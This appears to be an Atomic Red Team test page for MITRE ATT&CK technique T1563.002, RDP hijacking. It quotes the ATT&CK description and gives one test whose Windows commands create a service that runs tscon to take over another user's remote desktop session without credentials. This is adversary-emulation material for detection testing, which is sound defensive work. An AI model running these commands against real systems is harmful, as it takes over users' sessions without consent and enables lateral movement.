# T1563.002 - RDP Hijacking
## [Description from ATT&CK](https://attack.mitre.org/techniques/T1563/002)
<blockquote>Adversaries may hijack a legitimate user’s remote desktop session to move laterally within an environment. Remote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS).(Citation: TechNet Remote Desktop Services)

Adversaries may perform RDP session hijacking which involves stealing a legitimate user's remote session. Typically, a user is notified when someone else is trying to steal their session. With System permissions and using Terminal Services Console, `c:\windows\system32\tscon.exe [session number to be stolen]`, an adversary can hijack a session without the need for credentials or prompts to the user.(Citation: RDP Hijacking Korznikov) This can be done remotely or locally and with active or disconnected sessions.(Citation: RDP Hijacking Medium) It can also lead to [Remote System Discovery](https://attack.mitre.org/techniques/T1018) and Privilege Escalation by stealing a Domain Admin or higher privileged account session. All of this can be done by using native Windows commands, but it has also been added as a feature in red teaming tools.(Citation: Kali Redsnarf)</blockquote>

## Atomic Tests

- [Atomic Test #1 - RDP hijacking](#atomic-test-1---rdp-hijacking)


<br/>

## Atomic Test #1 - RDP hijacking
[RDP hijacking](https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6) - how to hijack RDS and RemoteApp sessions transparently to move through an organization

**Supported Platforms:** Windows


**auto_generated_guid:** a37ac520-b911-458e-8aed-c5f1576d9f46





#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| Session_ID | The ID of the session to which you want to connect | String | 1337|
| Destination_ID | Connect the session of another user to a different session | String | rdp-tcp#55|


#### Attack Commands: Run with `command_prompt`!  Elevation Required (e.g. root or admin) 


```cmd
query user
sc.exe create sesshijack binpath= "cmd.exe /k tscon #{Session_ID} /dest:#{Destination_ID}"
net start sesshijack
```

#### Cleanup Commands:
```cmd
sc.exe delete sesshijack >nul 2>&1
```





<br/>
